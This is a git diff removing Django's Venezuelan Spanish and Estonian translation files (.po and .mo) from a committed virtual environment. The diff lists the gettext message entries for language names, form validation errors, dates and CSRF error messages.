b/backend/venv/Lib/site-packages/django/conf/locale/es_VE/LC_MESSAGES/django.po deleted file mode 100644 index bd0a9048..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_VE/LC_MESSAGES/django.po +++ /dev/null @@ -1,1260 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2020 -# Eduardo , 2017 -# Leonardo J. Caballero G. , 2016 -# Sebastián Magrí, 2011 -# Yoel Acevedo, 2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-14 21:42+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Spanish (Venezuela) (http://www.transifex.com/django/django/" -"language/es_VE/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_VE\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikáans" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azerí" - -msgid "Bulgarian" -msgstr "Búlgaro" - -msgid "Belarusian" -msgstr "Bielorruso" - -msgid "Bengali" -msgstr "Bengalí" - -msgid "Breton" -msgstr "Bretón" - -msgid "Bosnian" -msgstr "Bosnio" - -msgid "Catalan" -msgstr "Catalán" - -msgid "Czech" -msgstr "Checo" - -msgid "Welsh" -msgstr "Galés" - -msgid "Danish" -msgstr "Danés" - -msgid "German" -msgstr "Alemán" - -msgid "Lower Sorbian" -msgstr "Sorbio Inferior" - -msgid "Greek" -msgstr "Griego" - -msgid "English" -msgstr "Inglés" - -msgid "Australian English" -msgstr "Inglés Australiano" - -msgid "British English" -msgstr "Inglés Británico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Español" - -msgid "Argentinian Spanish" -msgstr "Español de Argentina" - -msgid "Colombian Spanish" -msgstr "Español de Colombia" - -msgid "Mexican Spanish" -msgstr "Español de México" - -msgid "Nicaraguan Spanish" -msgstr "Español de Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Español de Venezuela" - -msgid "Estonian" -msgstr "Estonio" - -msgid "Basque" -msgstr "Vazco" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finlandés" - -msgid "French" -msgstr "Francés" - -msgid "Frisian" -msgstr "Frisio" - -msgid "Irish" -msgstr "Irlandés" - -msgid "Scottish Gaelic" -msgstr "Gaélico Escocés" - -msgid "Galician" -msgstr "Galés" - -msgid "Hebrew" -msgstr "Hebreo" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - -msgid "Upper Sorbian" -msgstr "Sorbio Superior" - -msgid "Hungarian" -msgstr "Húngaro" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesio" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandés" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Japonés" - -msgid "Georgian" -msgstr "Georgiano" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Kazajo" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Canarés" - -msgid "Korean" -msgstr "Coreano" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luxenburgués" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Latvio" - -msgid "Macedonian" -msgstr "Macedonio" - -msgid "Malayalam" -msgstr "Malayala" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "Maratí" - -msgid "Burmese" -msgstr "Birmano" - -msgid "Norwegian Bokmål" -msgstr "Noruego" - -msgid "Nepali" -msgstr "Nepalí" - -msgid "Dutch" -msgstr "Holandés" - -msgid "Norwegian Nynorsk" -msgstr "Nynorsk" - -msgid "Ossetic" -msgstr "Osetio" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polaco" - -msgid "Portuguese" -msgstr "Portugués" - -msgid "Brazilian Portuguese" -msgstr "Portugués de Brasil" - -msgid "Romanian" -msgstr "Ruman" - -msgid "Russian" -msgstr "Ruso" - -msgid "Slovak" -msgstr "Eslovaco" - -msgid "Slovenian" -msgstr "Eslovenio" - -msgid "Albanian" -msgstr "Albano" - -msgid "Serbian" -msgstr "Serbi" - -msgid "Serbian Latin" -msgstr "Latín Serbio" - -msgid "Swedish" -msgstr "Sueco" - -msgid "Swahili" -msgstr "Suajili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tailandés" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tártaro" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Ukrainian" -msgstr "Ucranio" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chino simplificado" - -msgid "Traditional Chinese" -msgstr "Chino tradicional" - -msgid "Messages" -msgstr "Mensajes" - -msgid "Site Maps" -msgstr "Mapas del sitio" - -msgid "Static Files" -msgstr "Archivos estáticos" - -msgid "Syndication" -msgstr "Sindicación" - -msgid "That page number is not an integer" -msgstr "Ese número de página no es un número entero" - -msgid "That page number is less than 1" -msgstr "Ese número de página es menor que 1" - -msgid "That page contains no results" -msgstr "Esa página no contiene resultados" - -msgid "Enter a valid value." -msgstr "Introduzca un valor válido." - -msgid "Enter a valid URL." -msgstr "Introduzca una URL válida." - -msgid "Enter a valid integer." -msgstr "Ingrese un valor válido." - -msgid "Enter a valid email address." -msgstr "Ingrese una dirección de correo electrónico válida." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Introduzca una dirección IPv4 válida." - -msgid "Enter a valid IPv6 address." -msgstr "Ingrese una dirección IPv6 válida." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Ingrese una dirección IPv4 o IPv6 válida." - -msgid "Enter only digits separated by commas." -msgstr "Introduzca solo dígitos separados por comas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Asegúrese de que este valor %(limit_value)s (ahora es %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor es menor o igual que %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor es mayor o igual que %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d carácter " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d carácter " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -msgid "Enter a number." -msgstr "Introduzca un número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asegúrese de que no hayan más de %(max)s dígito en total." -msgstr[1] "Asegúrese de que no hayan más de %(max)s dígitos en total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Asegúrese de que no hayan más de %(max)s decimal." -msgstr[1] "Asegúrese de que no hayan más de %(max)s decimales." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Asegúrese de que no hayan más de %(max)s dígito antes del punto decimal." -msgstr[1] "" -"Asegúrese de que no hayan más de %(max)s dígitos antes del punto decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "y" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s con este %(field_labels)s ya existe." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Valor %(value)r no es una opción válida." - -msgid "This field cannot be null." -msgstr "Este campo no puede ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo no puede estar en blanco." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s con esta %(field_label)s ya existe." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s debe ser único para %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Tipo de campo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Booleano (Verdadero o Falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadena (máximo %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Enteros separados por comas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Fecha (sin hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Fecha (con hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Duración" - -msgid "Email address" -msgstr "Dirección de correo electrónico" - -msgid "File path" -msgstr "Ruta de archivo" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Número de punto flotante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Entero" - -msgid "Big (8 byte) integer" -msgstr "Entero grande (8 bytes)" - -msgid "IPv4 address" -msgstr "Dirección IPv4" - -msgid "IP address" -msgstr "Dirección IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (Verdadero, Falso o Nulo)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Entero positivo" - -msgid "Positive small integer" -msgstr "Entero positivo pequeño" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (hasta %(max_length)s)" - -msgid "Small integer" -msgstr "Entero pequeño" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datos de binarios brutos" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Archivo" - -msgid "Image" -msgstr "Imagen" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "la instancia del %(model)s con %(field)s %(value)r no existe." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clave foránea (tipo determinado por el campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relación uno a uno" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relación %(from)s - %(to)s " - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relaciones %(from)s - %(to)s" - -msgid "Many-to-many relationship" -msgstr "Relación muchos a muchos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Este campo es obligatorio." - -msgid "Enter a whole number." -msgstr "Introduzca un número completo." - -msgid "Enter a valid date." -msgstr "Introduzca una fecha válida." - -msgid "Enter a valid time." -msgstr "Introduzca una hora válida." - -msgid "Enter a valid date/time." -msgstr "Introduzca una hora y fecha válida." - -msgid "Enter a valid duration." -msgstr "Ingrese una duración válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"No se envió archivo alguno. Revise el tipo de codificación del formulario." - -msgid "No file was submitted." -msgstr "No se envió ningún archivo." - -msgid "The submitted file is empty." -msgstr "El archivo enviado está vacío." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d carácter " -"(tiene %(length)d)." -msgstr[1] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d caracteres " -"(tiene %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Por favor provea un archivo o active el selector de limpiar, no ambos." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Envíe una imagen válida. El fichero que ha enviado no era una imagen o se " -"trataba de una imagen corrupta." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Escoja una opción válida. %(value)s no es una de las opciones disponibles." - -msgid "Enter a list of values." -msgstr "Ingrese una lista de valores." - -msgid "Enter a complete value." -msgstr "Ingrese un valor completo." - -msgid "Enter a valid UUID." -msgstr "Ingrese un UUID válido." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "Los datos de ManagementForm faltan o han sido manipulados" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Por favor, envíe %d o un menor número de formularios." -msgstr[1] "Por favor, envíe %d o un menor número de formularios." - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "Por favor, envíe %d o más formularios." -msgstr[1] "Por favor, envíe %d o más formularios." - -msgid "Order" -msgstr "Orden" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor, corrija el dato duplicado para %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor, corrija el dato duplicado para %(field)s, este debe ser único." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor, corrija los datos duplicados para %(field_name)s este debe ser " -"único para %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Por favor, corrija los valores duplicados abajo." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Escoja una opción válida. Esa opción no está entre las opciones disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Limpiar" - -msgid "Currently" -msgstr "Actualmente" - -msgid "Change" -msgstr "Cambiar" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sí,no,quizás" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "medianoche" - -msgid "noon" -msgstr "mediodía" - -msgid "Monday" -msgstr "Lunes" - -msgid "Tuesday" -msgstr "Martes" - -msgid "Wednesday" -msgstr "Miércoles" - -msgid "Thursday" -msgstr "Jueves" - -msgid "Friday" -msgstr "Viernes" - -msgid "Saturday" -msgstr "Sábado" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mié" - -msgid "Thu" -msgstr "Jue" - -msgid "Fri" -msgstr "Vie" - -msgid "Sat" -msgstr "Sáb" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "Enero" - -msgid "February" -msgstr "Febrero" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Mayo" - -msgid "June" -msgstr "Junio" - -msgid "July" -msgstr "Julio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Septiembre" - -msgid "October" -msgstr "Octubre" - -msgid "November" -msgstr "Noviembre" - -msgid "December" -msgstr "Diciembre" - -msgid "jan" -msgstr "ene" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dic" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ene." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marzo" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mayo" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junio" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dic." - -msgctxt "alt. month" -msgid "January" -msgstr "Enero" - -msgctxt "alt. month" -msgid "February" -msgstr "Febrero" - -msgctxt "alt. month" -msgid "March" -msgstr "Marzo" - -msgctxt "alt. month" -msgid "April" -msgstr "Abril" - -msgctxt "alt. month" -msgid "May" -msgstr "Mayo" - -msgctxt "alt. month" -msgid "June" -msgstr "Junio" - -msgctxt "alt. month" -msgid "July" -msgstr "Julio" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Septiembre" - -msgctxt "alt. month" -msgid "October" -msgstr "Octubre" - -msgctxt "alt. month" -msgid "November" -msgstr "Noviembre" - -msgctxt "alt. month" -msgid "December" -msgstr "Diciembre" - -msgid "This is not a valid IPv6 address." -msgstr "Esta no es una dirección IPv6 válida." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d año" -msgstr[1] "%d años" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d mes" -msgstr[1] "%d meses" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d semana" -msgstr[1] "%d semanas" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d día" -msgstr[1] "%d días" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d hora" -msgstr[1] "%d horas" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d minuto" -msgstr[1] "%d minutos" - -msgid "Forbidden" -msgstr "Prohibido" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verificación CSRF fallida. Solicitud abortada." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Estás viendo este mensaje porqué esta web requiere una cookie CSRF cuando se " -"envían formularios. Esta cookie se necesita por razones de seguridad, para " -"asegurar que tu navegador no ha sido comprometido por terceras partes." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Se puede ver más información si se establece DEBUG=True." - -msgid "No year specified" -msgstr "No se ha indicado el año" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "No se ha indicado el mes" - -msgid "No day specified" -msgstr "No se ha indicado el día" - -msgid "No week specified" -msgstr "No se ha indicado la semana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "No %(verbose_name_plural)s disponibles" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Los futuros %(verbose_name_plural)s no están disponibles porque " -"%(class_name)s.allow_future es Falso." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No se encontró ningún %(verbose_name)s coincidente con la consulta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Página inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Los índices de directorio no están permitidos." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índice de %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/et/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/et/LC_MESSAGES/django.mo deleted file mode 100644 index d109d42a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/et/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/et/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/et/LC_MESSAGES/django.po deleted file mode 100644 index 5f3e1545..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/et/LC_MESSAGES/django.po +++ /dev/null @@ -1,1341 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# eallik , 2011 -# Erlend Eelmets , 2020 -# Jannis Leidel , 2011 -# Janno Liivak , 2013-2015 -# madisvain , 2011 -# Martin , 2014-2015,2021-2025 -# Martin , 2016-2017,2019-2020 -# Marti Raudsepp , 2014,2016 -# Ragnar Rebase , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Martin , 2014-2015,2021-2025\n" -"Language-Team: Estonian (http://app.transifex.com/django/django/language/" -"et/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: et\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "afrikaani" - -msgid "Arabic" -msgstr "araabia" - -msgid "Algerian Arabic" -msgstr "Alžeeria Araabia" - -msgid "Asturian" -msgstr "astuuria" - -msgid "Azerbaijani" -msgstr "aserbaidžaani" - -msgid "Bulgarian" -msgstr "bulgaaria" - -msgid "Belarusian" -msgstr "valgevene" - -msgid "Bengali" -msgstr "bengali" - -msgid "Breton" -msgstr "bretooni" - -msgid "Bosnian" -msgstr "bosnia" - -msgid "Catalan" -msgstr "katalaani" - -msgid "Central Kurdish (Sorani)" -msgstr "Keskkurdi keel (sorani)" - -msgid "Czech" -msgstr "tšehhi" - -msgid "Welsh" -msgstr "uelsi" - -msgid "Danish" -msgstr "taani" - -msgid "German" -msgstr "saksa" - -msgid "Lower Sorbian" -msgstr "alamsorbi" - -msgid "Greek" -msgstr "kreeka" - -msgid "English" -msgstr "inglise" - -msgid "Australian English" -msgstr "austraalia inglise" - -msgid "British English" -msgstr "briti inglise" - -msgid "Esperanto" -msgstr "esperanto" - -msgid "Spanish" -msgstr "hispaania" - -msgid "Argentinian Spanish" -msgstr "argentiina hispaani" - -msgid "Colombian Spanish" -msgstr "kolumbia hispaania" - -msgid "Mexican Spanish" -msgstr "mehhiko hispaania" - -msgid "Nicaraguan Spanish" -msgstr "nikaraagua hispaania" - -msgid "Venezuelan Spanish" -msgstr "venetsueela hispaania" - -msgid "Estonian" -msgstr "eesti" - -msgid "Basque" -msgstr "baski" - -msgid "Persian" -msgstr "pärsia" - -msgid "Finnish" -msgstr "soome" - -msgid "French" -msgstr "prantsuse" - -msgid "Frisian" -msgstr "friisi" - -msgid "Irish" -msgstr "iiri" - -msgid "Scottish Gaelic" -msgstr "šoti gaeli" - -msgid "Galician" -msgstr "galiitsia" - -msgid "Hebrew" -msgstr "heebrea" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "horvaatia" - -msgid "Upper Sorbian" -msgstr "ülemsorbi" - -msgid "Hungarian" -msgstr "ungari" - -msgid "Armenian" -msgstr "armeenia" - -msgid "Interlingua" -msgstr "interlingua" - -msgid "Indonesian" -msgstr "indoneesi" - -msgid "Igbo" -msgstr "ibo" - -msgid "Ido" -msgstr "ido" - -msgid "Icelandic" -msgstr "islandi" - -msgid "Italian" -msgstr "itaalia" - -msgid "Japanese" -msgstr "jaapani" - -msgid "Georgian" -msgstr "gruusia" - -msgid "Kabyle" -msgstr "Kabiili" - -msgid "Kazakh" -msgstr "kasahhi" - -msgid "Khmer" -msgstr "khmeri" - -msgid "Kannada" -msgstr "kannada" - -msgid "Korean" -msgstr "korea" - -msgid "Kyrgyz" -msgstr "kirgiisi" - -msgid "Luxembourgish" -msgstr "letseburgi" - -msgid "Lithuanian" -msgstr "leedu" - -msgid "Latvian" -msgstr "läti" - -msgid "Macedonian" -msgstr "makedoonia" - -msgid "Malayalam" -msgstr "malaia" - -msgid "Mongolian" -msgstr "mongoolia" - -msgid "Marathi" -msgstr "marathi" - -msgid "Malay" -msgstr "malai" - -msgid "Burmese" -msgstr "birma" - -msgid "Norwegian Bokmål" -msgstr "norra bokmål" - 